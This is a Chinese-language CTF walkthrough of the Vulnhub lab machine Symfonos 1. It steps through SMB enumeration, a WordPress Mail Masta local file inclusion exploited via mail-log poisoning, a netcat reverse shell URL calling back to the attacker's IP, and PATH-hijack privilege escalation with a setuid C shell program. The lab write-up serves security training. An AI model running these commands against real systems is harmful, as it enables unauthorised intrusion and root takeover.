Vulnhub-靶机-SYMFONOS: 1

时间:2020-09-16
本文章向大家介绍Vulnhub-靶机-SYMFONOS: 1,主要包括Vulnhub-靶机-SYMFONOS: 1使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/symfonos-1,322/

使用nmap扫描 nmap -n -p- -sC -sV 192.168.56.106 -o symfonos1.nmap

根据扫描结果发现开放了smb服务模块,那我们使用下面命令进行枚举扫描下

enum4linux -a -o 192.168.56.106 | tee 192.168.56.106.smb

最终的结果会保存在文件192.168.56.106.smb 根据枚举的结果得知两个可以利用的共享文件夹,分别为anonymous和helios

既然知道了共享文件夹,那么在kali环境下使用命令smbclient去访问看看

smbclient -L //192.168.56.106  列举目标的共享文件夹

连接匿名的文件夹anonymous

smbclient //192.168.56.106/anonymous  此处密码为空使用命令enum4linux枚举出来的结果也有体现

查看文件attention.txt得知文件内容存在如下信息

根据上述信息可以知道有一个文件夹存在密码,这密码就有可能是上述提示的3个密码中的一个,所以这里尝试访问另一个文件夹helios,使用上面的3个密码去尝试,最终确认密码是qwerty

smbclient //192.168.56.106/helios -U helios

共享文件夹helios有两个文件,查看这两个文件得到如下结果:

最终得到web目录中含有/h3l105 我们尝试访问目标web应用

点击访问里面的url发现会跳转至一个域名symfonos.local ,鼠标放在上图标注的位置在浏览器的左下角也能看到跳转的域名,那么我们本地绑定hosts

绑定好之后看到目标web页面的最底下Log in跳转页面是wordpress的登录界面,看主题显示信息也觉得是wordpress,逐尝试使用wpscan进行扫描下,看是否存在漏洞

wpscan --url http://symfonos.local/h3l105/

因为本地kali没有注册WPVulnDB 的API,所以无法使用wpscan扫描出对于的漏洞信息,不过我看了下互联网的演示资料提示得知存在LFI漏洞,可以读文件,执行php文件

https://www.exploit-db.com/exploits/40290

https://cxsecurity.com/issue/WLB-2016080220

https://wpvulndb.com/vulnerabilities/8609

LFI漏洞复现

漏洞利用成功,那么可以反弹shell,同时根据上述的结果可以知道目标靶机存在用户helios,现在就是写文件,通过文件包含拿shell,因为刚开始的时候我们使用nmap扫描出来有25端口,有邮件服务器,尝试利用此邮件服务器给用户helios写一封一句话小马shell,具体如下:

上述操作成功之后,尝试文件包含看看,是否执行成功

 发现执行成功,然后确认是否存在nc命令,通过执行which nc 确认存在此命令,尝试使用nc反弹shell ,执行如下命令:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&bmfx=nc -e /bin/bash 192.168.56.101 8833

本地kali监听8833端口,成功反弹shell

拿到反弹shell开始提权看看,使用如下命令查找目标靶机哪些命令存在suid权限

find / -perm -4000 2>/dev/null

最终查到可执行文件/opt/statuscheck 在执行的过程中调用了curl命令,这里可以通过劫持curl命令来达到提权的目的,具体详细跟环境变量提权的信息请查看:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

我这里提权就直接使用提权的代码编译一个名称为curl的命令进行提权,具体代码如下:

int main(void) {
        setgid(0); setuid(0);
        execl("/bin/sh","sh",0);
}

将上述代码保存为curl.c 然后使用gcc编译器进行编译

在tmp目录下生成好curl命令,那么我们加下全局环境变量

执行/opt/statuscheck 成功提权为root权限

$flag 上一页 下一页